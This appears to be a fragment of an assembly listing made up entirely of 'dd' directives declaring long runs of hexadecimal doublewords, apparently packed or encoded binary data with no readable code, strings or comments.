dd 7491666Eh, 260EE040h, 5203EEAh, 5D81F798h, 91FA0CE0h
dd 0C8141AD1h, 18AC3250h, 49B175CCh, 901C77E6h, 0A4AE2464h
dd 11693EC8h, 309E1830h, 0E2149773h, 7C8ACDCh, 34DB25C7h
dd 0A60CE883h, 0FF7C58h, 24ECBE1Ch, 99D0FCA4h, 3E40B761h
dd 0E9807D7Ah, 27B160Ch, 1C00FFEAh, 0BB9D7072h, 125073D2h
dd 8B9CC05h, 44C0A354h, 43FC0F54h, 0ECC09F34h, 4809C354h
dd 6F6FAFCh, 9D01CAABh, 27CE990h, 0F157B30Fh, 110A630Bh
dd 474AAFFh, 4618CB09h, 87BDB0CCh, 676207F1h, 6F73EEBh
dd 1624C844h, 0D14768F0h, 4EC5000Fh, 0C07E7AECh, 74FB8361h
dd 89F09043h, 47708800h, 3C4AA72Dh, 731A1453h, 1F10CC68h
dd 7CBC565Bh, 48D44B56h, 8C25E844h, 0FE605636h, 0E918C191h
dd 0A889FD98h, 0F215C411h, 41D42E43h, 0A47C3014h, 5437058Ch
dd 383CFC12h, 3F0145D4h, 0C325C154h, 0E203787h, 7A0A1624h
dd 31A81FBCh, 220DFB29h, 44090068h, 0EFA7130Bh, 0A23CA988h
dd 540B4118h, 1C4CFC0Ch, 0E93F00B8h, 2B963554h, 0A5F2761Bh
dd 38988626h, 78207C02h, 59910216h, 0B3E0306Dh, 12C54518h
dd 9FC7082h, 0D8AC63C8h, 48C2F50h, 1A41C20Ch, 2CCE3Bh
dd 0D4C204D2h, 26FA29C7h, 3F53DEC5h, 0E3745001h, 20431DA5h
dd 80ACA12Ch, 9543E02h, 16B004FCh, 54E64603h, 0E108A7C4h
dd 0A0EE9CF7h, 6B2A36F4h, 2DF200CAh, 0C0C5CC4Bh, 7F048B4Ah
dd 7A04BE58h, 14BAE888h, 9426BCE8h, 8F39C900h, 59432C5Ch
dd 0E9469890h, 0AACF2702h, 4F3141FCh, 0CF883413h, 0BB177F21h
dd 1C0F95D1h, 601FB21Dh
dd 24DCD4h, 1288D97Eh, 122C8934h, 854C120h, 0ABC00770h
dd 46112DBAh, 3C887ED0h, 4ABA00A3h, 0EF137EBEh, 9B488C49h
dd 202C7220h, 246234E0h, 81B4CCD1h, 0D1832DCh, 1A36C208h
dd 4067C443h, 0E2C205D5h, 0FA020047h, 44208D10h, 0ACE89A9Eh
dd 0F4682966h, 77744E0h, 0A9289C31h, 32E1A34Bh, 85805432h
dd 0AC52D1A5h, 0C03690C8h, 1A42C209h, 66226346h, 0C241D100h
dd 0CFA54C71h, 0E55C05AFh, 8AF7C6BDh, 0B0623DCh, 7085BAA8h
dd 5DC8EC8h, 0B1BAA03Bh, 742714EBh, 123035A2h, 1A3710C2h
dd 0AD4E00Bh, 0A8CC00C2h, 9D6246Dh, 9109DA8Dh, 855D100Eh
dd 0FC985474h, 6C2012DCh, 2540347Eh, 617C80A4h, 0F8FEB65Ch
dd 9A198860h, 0D27F28E8h, 0C1286430h, 1C81CC84h, 2F724A63h
dd 854D107Ch, 0E9A1F6CEh, 0C8D281EAh, 0F0008D6h, 0DC1D8F87h
dd 48488A37h, 6AE8D8AEh, 0A5B30E8Ch, 3863040Ch, 0B8811ABDh
dd 0FDB88980h, 11549DB9h, 3F9D66h, 0C31E045Dh, 1852C485h
dd 797EDC3Ch, 9500E79Fh, 2D89D862h, 7C207C0h, 0E2A83B47h
dd 8102B1Eh, 0D9029E84h, 983692A4h, 0D9010FCh, 66C80F14h
dd 0F0127CE0h, 340067C5h, 0A3D912D6h, 0DFE3265Ch, 0EACF40E4h
dd 0AB00D3DBh, 2FA5DCEBh, 1C7A343h, 1A275C04h, 63BD1B99h
dd 0C558B734h, 4BC5814Ah, 42F87009h, 9774F0A0h, 958298A8h
dd 75513000h, 0F02B61ADh, 69B90402h, 0D38820BAh, 0D0002E74h
dd 91809437h, 4131D802h, 3054ED6Dh, 4102F91Ch, 7BA8AC79h
dd 0A984A07Ch, 757ED609h, 5DB5002Ch, 98EA3467h, 3E003564h
dd 0EC2E0FADh, 25DB8208h, 0CC1DD51Bh, 6806A11h, 6D5C87CAh
dd 1A511E03h, 48228F0h, 869D55B8h, 26CC8875h, 808014B8h
dd 302E1631h, 0E141246Ch, 0D05080B1h, 1C6974D1h, 0A78C816h
dd 11BC706Ch, 544380A0h, 87DCFC0Eh, 54EB4901h, 5870DAE4h
dd 0B274445Fh, 0BC4CE65Ch, 0F5008C81h, 8AB64E8h, 0F9074B19h
dd 0C77656E4h, 0C2AEA8D8h, 64645E46h, 0A6024046h, 0F81130BAh
dd 35000CC7h, 1FABBA9Eh, 16200ECh, 0FA92AECEh, 4496AA9Dh
dd 7DF57A06h, 85DF31D8h, 0F5F92BE1h, 4108253Dh, 47970570h
dd 1806C1A0h, 87F09E7Dh, 13BD602Ch, 0E49292F1h, 0BAAD3005h
dd 0A0112B11h, 3A802888h, 778BAA5h, 17F84AE7h, 104C2FC8h
dd 87DF8480h, 896FFF95h, 48C764C2h, 23606C44h, 0B0738CAAh
dd 6FFE3C00h, 37E2C87h, 7B1CEA5h, 0F460E024h, 7811C794h
dd 742A874Fh, 0C5FD0AA0h, 95B070EAh, 277FAC1Dh, 7800E1F3h
dd 9EC20EBBh, 0B126B0A3h, 4674CC93h, 97DB2E4Fh, 0DC82BC07h
dd 0C45847F9h, 0CED06067h, 0B15C1E9Bh, 211BD66Dh, 8C7FDF00h
dd 1E42EC29h, 0FFDE0022h, 58032E45h, 9E4C30BFh, 79F010DCh
dd 10703129h, 0B8ECD077h, 85434Bh, 958E42EBh, 92577B0h
dd 0FB7E57D0h, 270D68C9h, 0B8D0581Ch, 7844383h, 0C40451BCh
dd 30405A97h, 8EA948h, 9402F163h, 1B9217DAh, 6BE4A8A5h
dd 0A09EC560h, 0F725D300h, 0ABBCBE1Eh, 0BA410361h, 0C0F9389h
dd 12B8E948h, 0C019B01h, 6D14DE63h, 0E817D0A7h, 60854C88h
dd 69C7B04Bh, 35D3821Eh, 82C015D4h, 471889FCh, 655F448Ch
dd 0CFD97380h, 67500B45h, 4CA91797h, 26E4C445h, 9DFEA560h
dd 180DC22h, 725E0631h, 0D859C889h, 861E6FD4h, 1C2492DDh
dd 2C80EC91h, 49FCABCFh, 37C00899h, 14B3CF35h, 74137EFEh
dd 10277119h, 86121092h, 40CD00A0h, 9909A86Dh, 1E293EEh
dd 971B8F2Dh, 80791174h, 0ADC33FB8h, 197560DCh, 7B41B7FCh
dd 335F3000h, 89495AE8h, 0C6470044h, 0A32550ADh, 0E916EECCh
dd 0AC207ADDh, 4A8A7Bh, 0B7FA79E0h, 0A224AADBh, 7A1FA491h
dd 9500F8AAh, 16B5B245h, 6BB999h, 0A573C1C2h, 0D2C4C53Fh
dd 0D8A97E01h, 7CA0201Ah, 31CFA874h, 7741FB98h, 428FE9BFh
dd 2B30E5B0h, 0FCA612CFh, 88B21h, 4ACF3830h, 7F43ED57h
dd 70D018A1h, 0CE9FA19Bh, 6201DA00h, 98B92EEFh, 82E4B4FEh
dd 7B469DFDh, 9651A800h, 201C986Eh, 5D031660h, 0F4E884C4h
dd 34100E75h, 0D053F3DCh, 0FD7DD9F4h, 46C92A00h, 0CEF9BE05h
dd 0CA010BF4h, 27F89F6h, 6351F32Dh, 2486D9CDh, 4B4B1AE0h
dd 23002F69h, 813A0082h, 0B859A90Fh, 7A14D54Dh, 727D401h
dd 0ADD8AE45h, 0E842DC25h, 3CB44471h, 18EF09F8h, 838C904Ah
dd 0B9C8F0A3h, 200A3D91h, 5E4194F4h, 0BA3603F8h, 2028B0B8h
dd 0E72D6A93h, 0BF389785h, 0C560046h, 0B6C998F8h, 85710B1Ch
dd 0A061F6C5h, 6CC880A5h, 562E7F9Eh, 0D0021DC3h, 5826E015h
dd 4674D4C2h, 9FE2004Dh, 0C86941DAh, 9671307Ah, 0E93903F9h
dd 0E0116100h, 748AFFF7h, 0E3D501CFh, 14931F6Bh, 2DB42580h
dd 4CB8B0h, 729DC7CCh, 98C0D67Eh, 1892F476h, 524058B4h
dd 1DAA5Eh, 15463836h, 0CE4B3410h, 1805A424h, 7FD68900h
dd 0EE5CBEC7h, 60A00312h, 9F35C56Ch, 75580AF8h, 847F10C0h
dd 18BEE17Dh, 30C8592Eh, 400A781h, 133EABA0h, 66467D41h
dd 21B00803h, 0A00D091Dh, 0C274D1C0h, 0ECEDAA5h, 5D54DF6Bh
dd 2958FC8Fh, 8300750Dh, 0B49599CFh, 3013C7DBh, 0A1998285h
dd 393E7DEAh, 60A29CF8h, 8CA3030Eh, 0BC2164h, 1DD97DF2h
dd 0E835E9E5h, 88D0830Fh, 623CA317h, 0E7280081h, 71D22A04h
dd 68C1EF7Fh, 5E0E3F76h, 5CD42083h, 91785FB2h, 42379E0Eh
dd 9D3860F0h, 0CC203FC3h, 0FD21D208h, 53422F00h, 0D5FBB40h
dd 87B1B68h, 0BCCB41C4h, 0CE95291Dh, 0ABF838C0h, 7D3DD41Ch
dd 22F60CDDh, 0B6C17585h, 0D29C1200h, 8C9DA04Eh, 1ACD017Bh
dd 8048A646h, 0E88425Ch, 87DEF30h, 0A303F834h, 0C1456D64h
dd 58D606F7h, 4B0091B9h, 8F340D3Fh, 0EC6BA24Ah, 0A6E8C6h
dd 5AFE58D3h, 2857E1A9h, 0D440BC3Dh, 0E1F6B98h, 0C45CC059h
dd 0DF62D340h, 692883Bh, 0E0B9C340h, 0A0C87118h, 7DEDC010h
dd 0D356F83Ah, 6522D8h, 0DE7DF5BFh, 4631759Fh, 4536790Eh
dd 2032A2BAh, 40384274h, 0C2B4C469h, 0C25FAA78h, 0C63AA8A0h
dd 9B067F8Ch, 0BB5E4999h, 85880319h, 25AEC0E3h, 97F9F6BBh
dd 4809E0F9h, 235C4248h, 0A007002Dh, 40FB3EA8h, 6B54486h
dd 2CA0101Eh, 8D594EC3h, 76180CBFh, 57719A45h, 97946354h
dd 0BACEB41Fh, 8CA3778Fh, 0E8061946h, 5F5630F5h, 88A73C11h
dd 0CDE60901h, 0BDDDC2A3h, 21720898h, 6C98AF22h, 40E93001h
dd 0C3F56B7Fh, 29E59183h, 7EE18D2Ch, 0D023DBE7h, 0A00B0131h
dd 18DB3EA4h, 140288AEh, 5701FAB0h, 0D57E42B4h, 79806C56h
dd 94F7709Ch, 0F800AA1Eh, 1A557A71h, 1E90A028h, 0C52FD0E6h
dd 61440Ah, 3E3B08CCh, 149A6042h, 1EB40B03h, 7057B1h, 16D16E51h
dd 0F104E521h, 30A54400h, 54E44BD9h, 0E3C301B2h, 0E72FF8A4h
dd 32C89141h, 32A00887h, 0AF31F33Eh, 0A0110510h, 2D03FC7Eh
dd 539689E2h, 0C0B29869h, 29070102h, 1A04DD46h, 77F420B7h
dd 0BC141C92h, 0FCCC4E43h, 33038C71h, 1C424626h, 56F81864h
dd 0AFC32165h, 680049B8h, 8AA875B2h, 36344CA6h, 709879C9h
dd 0A402F246h, 0D5E60C88h, 21107831h, 0F0F88ACh, 801953C4h
dd 420204DEh, 3E0C183Fh, 544CD8CFh, 60973D30h, 2632F7FCh
dd 84DC5E5Ch, 80B678D9h, 0D537E09Ch, 6C9BACFAh, 0DB1F3917h
dd 6C670853h, 320380D8h, 0BC07DA42h, 6B6FC61Ch, 83C5FD48h
dd 7E793440h, 10A87848h, 0BC01C706h, 40DF9229h, 0F4F09166h
dd 0A88A680h
dd 87C5E6h, 6588AE23h, 0DA0085D6h, 72DB306Eh, 50FE6C11h
dd 742C3CBBh, 0C16B8191h, 3E1982C7h, 0A702554h, 15F90E38h
dd 16A0627h, 0C303E850h, 5820020Eh, 448940C3h, 0CC810424h
dd 40211809h, 76C35000h, 425A55F1h, 418D1409h, 57232621h
dd 44C35F0Eh, 1C627C89h, 0C3574720h, 7E4C38DFh, 74E9B88Eh
dd 5548760Ch, 0C35D398Ch, 886C8911h, 55458019h, 582B5EC3h
dd 1AE22903h, 99FABF0Fh, 258C2086h, 0CD0B06E8h, 8D854803h
dd 0AF898E6Bh, 18BE1026h, 2509E95Fh, 68F41E3Eh, 38B004F2h
dd 7E5C557Eh, 40F5714Eh, 24294460h, 1A74670h, 4F2E961h
dd 0B5110A80h, 0FE83B045h, 38E78E01h, 7BA84DBDh, 0C300FA3Bh
dd 0F1A64FBFh, 0FF074EBAh, 0A8FA3884h, 38A80009h, 0F565C65Dh
dd 0A7B71D20h, 9E0B401Ch, 45F77816h, 0E7864F00h, 3204C696h
dd 3CED309Dh, 446D6F52h, 4175E501h, 0DB0D94Ch, 4240AE3Eh
dd 0AD1D9D96h, 0D85B00C8h, 0B6352E68h, 63005046h, 0B8286EDEh
dd 1C497E31h, 8A647AEAh, 0E024BC39h, 4EBE3EF5h, 0FC78A700h
dd 71A51570h, 83B3009Ch, 9D99096Eh, 0C03EEF96h, 81448C07h
dd 0BA4158h, 0D7D9A350h, 4152CECFh, 98876E02h, 0E16BAB1Bh
dd 28833C1Fh, 29208F26h, 97A8E7C0h, 0B2704C2Ah, 3E24602Ch
dd 0BFE45F03h, 0BB2E09F2h, 958CFDDFh, 0D900EA11h, 2E858DAh
dd 31212897h, 24481A9Ch, 1980170Dh, 0C2B9Bh, 0C9B13D1Ch
dd 967E6CF2h, 39C52401h, 0A5EC57B8h, 77485389h, 0E8138155h
dd 0B8B93E78h, 0DD5C5500h, 4E63296Dh, 0B78EEF0Ch, 5E593392h
dd 220C0048h, 85EC84B2h, 9B985A00h, 46C3A717h, 0A2730EE3h
dd 24782E8Dh, 3418F89Dh, 431A624Fh, 5A0744Ah, 0B5979F0Fh
dd 13B5007Ch, 2DDE8CA3h, 5A5CCC1Fh, 0C7F68Eh, 0D7831282h
dd 9C3500FEh, 93193A74h, 0D137F8CBh, 8BB190D4h, 70E032DFh
dd 178C60D5h, 4DF363E2h, 80537C3Ah, 24045C79h, 0EA8FA9h
dd 36B77416h, 0F8D747AAh, 0BA06498h, 0E060B8E1h, 0C232B63Eh
dd 557D5Eh, 5478DF79h, 1F9A705Fh, 4499B00Ah, 0BF24BB7Dh
dd 8009BB22h, 0DF3AC624h, 810AC3DAh, 9BA1E85Bh, 8F7B4C80h
dd 318CA5h, 0D259D5C1h, 0EE5EDCEBh, 9A180700h, 3522EC2Ah
dd 6EBC00CFh, 0A8421E7Bh, 9D00056Bh, 87E48965h, 13454017h
dd 0FCFE06Fh, 0DB20C6CFh, 0B0E656D6h, 802BDF06h, 229C762Dh
dd 0A7403B93h, 53600156h, 309581F1h, 1171E089h, 68D4A112h
dd 61550D00h, 0CA5A7Bh, 2241E3A5h, 0F31B8A60h, 0EFC25D60h
dd 6092312Bh, 1D2E114Fh, 9B0C426Dh, 74C94BAEh, 0E50144D1h
dd 5900247Ah, 7FE7445Dh, 782C9051h, 1F7A00CDh, 62B18601h
dd 0BC79C9F3h, 5668471Fh, 2B6BDB80h, 0E06152h, 0A1494670h
dd 0B6299073h, 74F73C00h, 48A56604h, 6D3D03D8h, 8BFB7DC9h
dd 0DFB28Bh, 564A37Ah, 0A00D4F4h, 30DA4AA9h, 28F972Eh
dd 8E169B76h, 767D79BDh, 8C25140Bh, 0EF048839h, 0EF9366AAh
dd 6C0C36FCh, 0B013C209h, 0F100D6ECh, 0DC532292h, 6A7EF5Fh
dd 6DD839BAh, 559F2724h, 731A5A82h, 88F8F780h, 3502B8EDh
dd 0BB9DBDAEh, 0CF8FA409h, 80A1A8FAh, 44A6ED5Dh, 0CE275D4h
dd 0F6529EFDh, 0DA00EBACh, 40C1F2DCh, 13F93AD0h, 0EA6B0A7Ah
dd 70DA1B0h, 3BB945A4h, 0DDF210CBh, 7F00FC2Dh, 981A070Fh
dd 0CF5EE28h, 150E0878h, 1B98FEBEh, 0E7CEBB00h, 0FC6CCFF8h
dd 218C1819h, 4CA7A41Eh, 550005E1h, 0F22AC030h, 0DE0E2CABh
dd 3C125Bh, 0F6BF9067h, 0A8671409h, 51D76AC6h, 73CEAFD3h
dd 0A70C001Eh, 0D3E0D646h, 0B900FD6Dh, 98FFEBC4h, 1C582925h
dd 93481628h, 7A55061Dh, 5F63B57h, 3336651Ah, 0E9AB4010h
dd 6CA8320Ch, 9D908497h, 6007040h, 3C0D169Ch, 128AE9FAh
dd 1A47B1Ah, 3A64DFEAh, 0C2CC40E7h, 29FE6857h, 0B11F4890h
dd 2040380h, 138004B4h, 0EFEDE3Bh, 8C9D108Ah, 841A9984h
dd 82F9EF00h, 1CA8FC01h, 0D4189B88h, 0AC00E387h, 5DA94D01h
dd 1CF451DDh, 80BD9284h, 68AE1EA1h, 0A612B897h, 6F002C8Dh
dd 0F44FE585h, 16B1E865h, 0F7DB61Ah, 0EBE3DC9Fh, 0D6271E0Ah
dd 9060D5BFh, 0D0001FE0h, 7EB2E79Eh, 7BB68D51h, 169F005Bh
dd 0C251122h, 562C3FAFh, 0BC01ADC9h, 0DACD6839h, 2C7CE3E4h
dd 40C77651h, 4D6650C0h, 8D5FEB2Ch, 607E9CBFh, 2982C780h
dd 4C6956D3h, 6F00E558h, 0AF989E0Eh, 85000126h, 0B6FDADA6h
dd 49D1C535h, 0D6007CE0h, 479C43EAh, 800B75Eh, 6AD43CBFh
dd 27D28B90h, 0CAD77161h, 0C40A62BCh, 0FFF34E8Ah, 0EFB42ECBh
dd 14C71EF8h, 0B5E23724h, 830B07C2h, 1C8766EAh, 10525C2Bh
dd 7F27FF6Fh, 0EF90E6C5h, 34DDDFh, 0B72FB3B8h, 0D800F713h
dd 5606E0C1h, 31953BEh, 0F0290C1Bh, 42C3685Eh, 0B724A138h
dd 0A62F6283h, 488150h, 70713E72h, 5108468Fh, 77C9B973h
dd 31D58501h, 8B591102h, 84509434h, 8B538106h, 89536A81h
dd 57C381E3h, 1C106866h, 7F7BE900h, 7C0CFFFCh, 1D4B4600h
dd 32B84C56h, 0FF184EFEh, 0F5454FD0h, 0E74D006Ah, 363F760Fh
dd 77002AB8h, 4969E1FAh, 728BF58h, 1EFFBE68h, 0DCA09F08h
dd 2D384C20h, 1D802700h, 9821446Ch, 0EE3700CCh, 4574FF12h
dd 8007D06h, 3EA0A24Ah, 3ACD7EA9h, 0C5803D78h, 2F38E833h
dd 0E1071021h, 19702409h, 518014C4h, 5913299h, 0D7155D77h
dd 0A89E009Bh, 0F20C8CF6h, 3B9AC307h, 33C0B27Dh, 0E04CDCh
dd 50F1BC5Eh, 5CF31E56h, 588B3E07h, 0C1411739h, 5622860Fh
dd 0F8BF1476h, 9449CEBh, 7E822F2h, 2C1EB705h, 21C0217Bh
dd 0EBBE66h, 858D5FAEh, 615279Dh, 504E90F8h, 51F388FFh
dd 5E616012h, 6ADC961Fh, 9FE303Ah, 0D908F9BDh, 0C18F4438h
dd 0DCBED819h, 20C0330Eh, 65056983h, 6019E47Fh, 0EA8EBFB6h
dd 666A0301h, 8A49D781h, 0F98B62EFh, 5A657D4Bh, 2F215604h
dd 89C8C35Eh, 15448C74h, 0C3561646h, 0AE05FBCAh, 2308F9EDh
dd 0C35BC353h, 185C8991h, 5343881Dh, 870FC339h, 0C145FF2Bh
dd 79111B30h, 4BF27C8Bh, 93855083h, 60D6910h, 267995FFh
dd 0DB7EC10Ch, 0F99D8D87h, 895E209Ch, 0E4ADB53Ah, 0D2B2D32Dh
dd 0C83017F2h, 0EFE20C7Ch, 0DA1910E9h, 8069373Ch, 0ED5B6489h
dd 73EB516h, 0D68D7E4Dh, 0C695C5C3h, 853A79B1h, 81A5E035h
dd 252AD0E6h, 0DC8671E9h, 5DE055E8h, 9955EDFEh, 52AC91FBh
dd 22C35A87h, 1A315489h, 0C3524210h, 2BA5FB00h, 0E6F12939h
dd 0FFE70781h, 6233FD99h, 2F49ADBDh, 416225D0h, 5018878h
dd 16232B3Ah, 581F2204h, 0BD2A2297h, 0AB922713h, 0C3593051h
dd 4C5289E4h, 51418427h, 0F85FD880h, 88A09089h, 0E0E381DBh
dd 4D23E101h, 43301AB2h, 0C17B060Ch, 0F2152A55h, 310825A4h
dd 322D4585h, 2CE1F1C2h, 237EB40Fh, 97DFD800h, 0C012E9FBh
dd 59427015h, 48007DC6h, 734BACD5h, 0F9D613h, 0F6C979B0h
dd 65BD8312h, 6C18FF30h, 0DD11840Fh, 0F6B7813Fh, 818BE9FCh
dd 95295213h, 8885226Dh, 1A85C75Fh, 7D1DF81Eh, 0EA801911h
dd 15B3C6B7h, 8FBE2B02h, 6017EBDEh, 2962E754h, 0D92F4AE9h
dd 33181Ch, 0AAE2990Fh, 0A9FAE14Bh, 0E934BDF2h, 6327C817h
dd 8352BF08h, 9750D400h, 0F0EB4178h, 4A65222Ch, 0C17A5E00h
dd 486259A6h, 9AD0268Dh, 2381F903h, 3997FEFFh, 0D7812F37h
dd 8E0F2945h, 0BD894A40h, 90209A6Dh, 0ED8DF0C3h, 8C66C550h
dd 78B69BDBh, 0A50972C9h
dd 0E43AC63Ch, 292002E2h, 7DEF1DDAh, 18096360h, 34205F81h
dd 0DDA414C7h, 195085F6h, 72418A75h, 0D52BA1A1h, 8A1817D1h
dd 7AE33818h, 751BD666h, 90EEC97Dh, 0D9E99A81h, 4702350h
dd 38B3FB58h, 60326380h, 0AAB9005Bh, 1571E30h, 0C8263C27h
dd 4674F090h, 6F5B001Ch, 0EC9613Ah, 0BCF52884h, 0BB920B9h
dd 934FE92Ch, 795874A3h, 4CE30CCAh, 7F190AE8h, 0A6108E0Fh
dd 22D3C17Ah, 26614F36h, 0B05F22C2h, 14913797h, 26D31D8Ah
dd 17DDC24Bh, 0C070E603h, 0C50379B5h, 8E71E410h, 0C015883Dh
dd 0E9605E09h, 0AF170560h, 621BABB1h, 0C41703Dh, 0B60F6100h
dd 142FB2D8h, 4CBA205Ch, 0F6F6E5Ah, 0C03EA10Eh, 0B3A8EE9Ah
dd 1D0C437h, 0C3921D08h, 1423003Ah, 0BF0BF126h, 69A298F9h
dd 934B008Ch, 5E26539Ch, 0C102FA8Bh, 0F76604E8h, 70F5DBE2h
dd 37175C30h, 104EDCBh, 2B050119h, 2F66FD8h, 5093F9FDh
dd 0F79D4052h, 5A31190Fh, 100E9A58h, 41F427h, 16C87F4Fh
dd 2F59DD9Ah, 0EF5E330Ah, 0CD40E1E8h, 3E065C51h, 3FFE530Ch
dd 0BB0935Fh, 8E9141Fh, 2E1B6600h, 35253F51h, 5E8AA039h
dd 0E0B558FFh, 210A0492h, 9D89012Eh, 0CA80A75h, 0C73FA267h
dd 601B441Eh, 38872Ah, 0D5926D76h, 9585090Eh, 95622649h
dd 6DAC26h, 0C43E1A46h, 0E6EA6BCh, 27B9B2C4h, 5F013C09h
dd 0AD025283h, 92679034h, 96A001C6h, 0AA903950h, 4E7325D1h
dd 0C01888A5h, 14759F9Eh, 3A60E626h, 122BA03Dh, 7461D98Bh
dd 882DCB98h, 0C1A8C01Ch, 350279C4h, 23CB8DE5h, 5987E060h
dd 0DD618122h, 0F0B466C3h, 1CC61C7h, 2AD9ECEAh, 25FCBC01h
dd 911C6091h, 0B5C91E61h, 0CA923DDh, 181DF99Dh, 1237F3Fh
dd 0E2B9E30Dh, 20EA078Ah, 80520F9Ch, 0B5230992h, 58392409h
dd 1988368Eh, 0A5EC56C0h, 0EBA83136h, 402D9BCh, 0C54768Ch
dd 631970CAh, 40208881h, 0F28B1E01h, 28A4D52h, 26A9282Dh
dd 1DA52BB9h, 8018113Fh, 80BED1DDh, 547D90A3h, 7083A7FDh
dd 0D93B04C1h, 40FE860Fh, 0C274D781h, 15225C58h, 20C9987Fh
dd 0F62C2D99h, 0C091E3C1h, 1638BD4Ch, 0F9362B8Bh, 0D6ADEA14h
dd 0D34E7960h, 29160A09h, 8A28120h, 5B0F10F5h, 4D37360Fh
dd 5C84DD7h, 448D8501h, 9BC32BDDh, 4863C0E9h, 317CF4Bh
dd 0F687D890h, 0FBD17ABFh, 3D2C7058h, 0A6083425h, 833D3F30h
dd 831751E1h, 5F441AB8h, 0E92C7198h, 0FC5A50h, 7BC9B448h
dd 5C3058ECh, 89340588h, 0A2EE23C0h, 0B8DE301Ah, 8847C901h
dd 0F38B7B57h, 0D844DFCBh, 1B88338Eh, 7402AAC0h, 4DA00963h
dd 15817140h, 0C7585h, 2846DA80h, 88D5C761h, 256D5DE8h
dd 0D1B75B26h, 23C0102h, 0DFBE90E8h, 1F390259h, 668991E9h
dd 100F30E1h, 7B042086h, 8D1E00E5h, 0CC306876h, 0EE053B8Bh
dd 615E507Fh, 0D2C0D70Ah, 1194674h, 112D9EE8h, 0A560331Bh
dd 704B9CFAh, 9E15185h, 7AB6A2Ah, 0E1ED7CC9h, 0CC81EFE4h
dd 0C6390561h, 61763741h, 0F81A30E0h, 7E29DC02h, 0CC131B31h
dd 44D187CCh, 92CF601Ch, 1BC6024Fh, 98945D4Eh, 0F36C93EAh
dd 4A7020BBh, 0BD090C87h, 9046254Dh, 5F1261B9h, 1523873Ah
dd 582AAE39h, 9A109260h, 14C20097h, 7CDFA005h, 0E2B1E82Bh
dd 999F5207h, 5EC1C230h, 0F8033AADh, 55B50B09h, 3D2749AAh
dd 0ED6E4Eh, 0BF8B30FDh, 0E80BF54Dh, 2C7B28D7h, 198D2EE1h
dd 0D50CB130h, 1A92620Dh, 0A0D0491h, 32ABBA8Bh, 0DF1B78h
dd 733AD1C1h, 96FFBEF9h, 0E97D2112h, 0C4E23FD4h, 1458D002h
dd 0F558E2DBh, 89BF9202h, 9D28CD85h, 80141141h, 47BE502Ch
dd 229D1202h, 23693A5Fh, 6C560A15h, 34550887h, 0F6B3E904h
dd 0F9A0B3E7h, 312A3F4h, 5E441DBDh, 8D8EC18Bh, 90C51488h
dd 0EC4DC1B6h, 93009ABCh, 295AECBDh, 0B609A58Dh, 39F18B18h
dd 3148D766h, 21D20E6h, 60CABF50h, 8FD8472Eh, 18ABFFE7h
dd 0FD4DD576h, 9B7A5AD0h, 4A97BB19h, 5812FA3Dh, 4203B689h
dd 370B0BC7h, 724280E8h, 0A99ABA10h, 986CED0Ah, 0AB27F7CBh
dd 90296038h, 0C8524C50h, 89310F1Ch, 41D30C8Fh, 16AB2683h
dd 5EE1F9EBh, 0BE007F2Ch, 42CA79A0h, 0BD242990h, 0ACB4AF01h
dd 80C3309Bh, 0A2105348h, 5E011E7Dh, 0CA0FBE66h, 0A70E776Ah
dd 32C06E0h, 91810077h, 6056B851h, 0A134BD2Bh, 4A856619h
dd 0A061BEB4h, 5E7D95DCh, 3A337510h, 51623D5h, 0E3C846BBh
dd 40C2484Dh, 275E8999h, 992E4F34h, 0A8141423h, 2E591797h
dd 2541379Dh, 0E900161Dh, 38BC089Dh, 840BD158h, 7660D88Dh
dd 309D01F2h, 0BF68144Dh, 8C2F832Bh, 45381E47h, 0FDA741D6h
dd 799D111Dh, 88B10B0Dh, 0A514C01Ch, 10052AAEh, 3672A082h
dd 2DA9EF05h, 74D023E2h, 28C18A8h, 0C75A487Ch, 63DAE871h
dd 0D14A5D00h, 0DD77FF8Dh, 0BB4E4814h, 30496A03h, 82FC3BE7h
dd 8DA5F123h, 1B2A25Fh, 56AED9F8h, 19C0BD9Fh, 1C27AD3h
dd 136C6E34h, 79E72E99h, 9FD62D46h, 801D11D3h, 0B6F9F49Fh
dd 7C1427DBh, 0BD83EC80h, 195E0A26h, 352E4F4Dh, 0E5C06F5Bh
dd 95291502h, 1843D549h, 0BE23ABE9h, 0FD3C0557h, 1085C744h
dd 3B5EC53Bh, 1A233Ah, 711E190h, 0EA05AA3Bh, 5880F52h
dd 18B93800h, 0BC5F7FA1h, 21A84038h, 62006D86h, 0FD735DE7h
dd 1128B25h, 67CDE644h, 2C52E901h, 8C1AF83Fh, 53D31803h
dd 9DFD8D2Fh, 2C0A7627h, 1B4676h, 26C94935h, 2C1AC8E3h
dd 125B0FA0h, 0F898328Dh, 95A58DF3h, 801D9127h, 0FE63EACDh
dd 0E5E30099h, 8174666Bh, 44172EEFh, 86850367h, 2AEDD904h
dd 6554C816h, 516E4BD7h, 0F145205h, 8CAF287h, 51195B5h
dd 0D4CD9D09h, 0B99B3D2h, 0A519B533h, 0E48150EAh, 0D265F47Ah
dd 1488800Eh, 0C7D20AC5h, 0EDE90120h, 886A4E03h, 0AD3EC01Dh
dd 0DA02EB63h, 0C40A36B7h, 11F3C1C8h, 0E0B0D992h, 0D9055ED9h
dd 70E632B7h, 1D184085h, 94820F20h, 55E99436h, 880E83Dh
dd 0E04AE2F9h, 0A500D1D2h, 5B8A8E19h, 0BFB1F39Bh, 71E49340h
dd 5E78E493h, 66CF3FD2h, 1A68DE8Bh, 6DCDB842h, 0F9F6DE1h
dd 0BCC46FAh, 1D7E2EFDh, 0AF3DB642h, 6D8F1080h, 0C9DB11h
dd 0B3CA29B0h, 241B52Bh, 0A18BED94h, 0B655C604h, 0CE06D421h
dd 92CD73ADh, 0BF12050h, 662EBC9Eh, 81294BDCh, 217FE4BBh
dd 6809D9A5h, 91E88BD7h, 8B40A9B9h, 16DC1E3h, 0A6F2B63h
dd 0DA5EB453h, 17D13A79h, 0B91F0A18h, 0C6C1D1DBh, 272F1B4Fh
dd 299DF70h, 8976DEF6h, 31CD241Ch, 0B1DC60E0h, 0A42A027Ah
dd 640CBEA5h, 84BC8A71h, 73CBAFD2h, 500B68E3h, 393DB05Eh
dd 0F1BED002h, 0EBFE40F9h, 93A190C9h, 0F6A078DCh, 1106AB04h
dd 9E85F13Eh, 0F1033EC2h, 1E5884Fh, 10136325h, 5522D122h
dd 68D94792h, 66E68180h, 9143D1A2h, 9D298676h, 4BA15771h
dd 49128850h, 405F1211h, 0BD31602Dh, 16DD0E09h, 0A96719EEh
dd 6DB9A4A0h, 985A008Bh, 41560839h, 450135D9h, 0B196E1CFh
